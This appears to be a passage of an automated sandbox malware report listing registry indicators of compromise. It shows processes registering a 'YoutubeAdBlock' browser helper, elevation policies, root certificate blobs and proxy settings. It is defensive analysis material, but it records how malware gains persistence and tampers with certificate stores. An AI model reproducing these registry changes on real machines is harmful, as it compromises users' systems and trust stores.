\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppName = "rLawcxv.exe" QHfDRkW.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl QHfDRkW.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE} QHfDRkW.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy QHfDRkW.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppPath = "C:\\Program Files (x86)\\yjiDqdgnMIE" QHfDRkW.exe Key created \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE} QHfDRkW.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
windefender.exesetup.execsrss.exenetsh.exerundll32.exeww31.exewscript.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-571 = "China Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-722 = "Central Pacific Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-842 = "Argentina Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-364 = "Middle East Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-222 = "Alaskan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-632 = "Tokyo Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-671 = "AUS Eastern Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-412 = "E. Africa Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-262 = "GMT Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-232 = "Hawaiian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" setup.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" setup.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-215 = "Pacific Standard Time (Mexico)" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" setup.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-542 = "Myanmar Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-772 = "Montevideo Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-211 = "Pacific Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" setup.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-51 = "Greenland Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" setup.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-392 = "Arab Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-452 = "Caucasus Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-592 = "Malay Peninsula Standard Time" windefender.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a070056000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" setup.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-1022 = "Bangladesh Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-448 = "Azerbaijan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-341 = "Egypt Daylight Time" windefender.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs ww31.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" setup.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" setup.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings wscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-541 = "Myanmar Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-382 = "South Africa Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" setup.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-191 = "Mountain Daylight Time" windefender.exe -
Modifies registry class 64 IoCs
Processes:
QHfDRkW.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{33CBD639-1F6A-4223-BBE4-58184E4ED9B3}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\ = "YoutubeAdBlock" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{484C7844-4212-4BE0-A3B4-376E9752EB97}\1.0\HELPDIR QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\VersionIndependentProgID = "Toolbar.ExtensionHelperObject" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45}\ProxyStubClsid32 QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45}\TypeLib QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45}\TypeLib\ = "{949304BF-B0CB-4477-AB23-4FFC82B86902}" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{484C7844-4212-4BE0-A3B4-376E9752EB97}\1.0\0\win32\ = "C:\\Program Files (x86)\\yjiDqdgnMIE\\tDF90DJ.dll" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45}\ = "_yTzzTASZltobXVPmMycLdyoOIK" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45}\TypeLib\Version = "1.0" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Implemented Categories QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}\ QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\ProxyStubClsid QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\ProxyStubClsid32 QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\TypeLib = "{1D5A4199-956E-49BC-B89F-6A35C57C0D13}" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Programmable\ QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{949304BF-B0CB-4477-AB23-4FFC82B86902}\1.0\0\win32\ = "C:\\Program Files (x86)\\yjiDqdgnMIE\\rLawcxv.exe" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45}\TypeLib\Version = "1.0" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{33CBD639-1F6A-4223-BBE4-58184E4ED9B3}\TypeLib\Version = "1.0" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\ = "YoutubeAdBlock" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45}\TypeLib\ = "{949304BF-B0CB-4477-AB23-4FFC82B86902}" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45}\ProxyStubClsid32 QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{484C7844-4212-4BE0-A3B4-376E9752EB97}\1.0\FLAGS\ = "0" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640} QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Implemented Categories\ QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\TypeLib QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Programmable\ QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\LocalServer32\ = "C:\\Program Files (x86)\\yjiDqdgnMIE\\rLawcxv.exe" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BE395518-8F31-4D69-BF1E-BBF303203F45} QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{33CBD639-1F6A-4223-BBE4-58184E4ED9B3} QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{33CBD639-1F6A-4223-BBE4-58184E4ED9B3}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\TypeLib = "{1D5A4199-956E-49BC-B89F-6A35C57C0D13}" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Programmable\ QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\InprocServer32\ = "C:\\Program Files (x86)\\yjiDqdgnMIE\\kVLys0L.dll" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{949304BF-B0CB-4477-AB23-4FFC82B86902}\1.0 QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{949304BF-B0CB-4477-AB23-4FFC82B86902}\1.0\FLAGS QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{949304BF-B0CB-4477-AB23-4FFC82B86902}\1.0\HELPDIR QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\TypeLib QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Implemented Categories QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{484C7844-4212-4BE0-A3B4-376E9752EB97}\1.0\0\win32 QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640} QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\ProxyStubClsid QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Programmable QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9}\TypeLib\ = "{484C7844-4212-4BE0-A3B4-376E9752EB97}" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{484C7844-4212-4BE0-A3B4-376E9752EB97}\1.0 QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{33CBD639-1F6A-4223-BBE4-58184E4ED9B3}\TypeLib\ = "{949304BF-B0CB-4477-AB23-4FFC82B86902}" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\VersionIndependentProgID = "Toolbar.ExtensionHelperObject" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Programmable QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}\ QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\InprocServer32 QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE} QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{949304BF-B0CB-4477-AB23-4FFC82B86902}\1.0\FLAGS\ = "0" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{949304BF-B0CB-4477-AB23-4FFC82B86902}\1.0\0\win32 QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B7993E1A-469D-4CED-8208-B2E0791F4668}\Programmable QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9} QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{484C7844-4212-4BE0-A3B4-376E9752EB97}\1.0\ = "{484C7844-4212-4BE0-A3B4-376E9752EB97}" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{949304BF-B0CB-4477-AB23-4FFC82B86902}\1.0\HELPDIR\ = "C:\\Program Files (x86)\\yjiDqdgnMIE" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{33CBD639-1F6A-4223-BBE4-58184E4ED9B3}\TypeLib\Version = "1.0" QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{33CBD639-1F6A-4223-BBE4-58184E4ED9B3} QHfDRkW.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FCD323B9-9E05-4433-8305-22E34A2FA3B9} QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{949304BF-B0CB-4477-AB23-4FFC82B86902}\1.0\ = "hIDTJcUjjLgaGEhtTul]]-{-UvpW{LLtICWy" QHfDRkW.exe -
Processes:
HGT.exepatch.exehjjgaa.exeSetup.exegaooo.execsrss.exeSuliqecyjae.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6 HGT.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A HGT.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 0f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f312030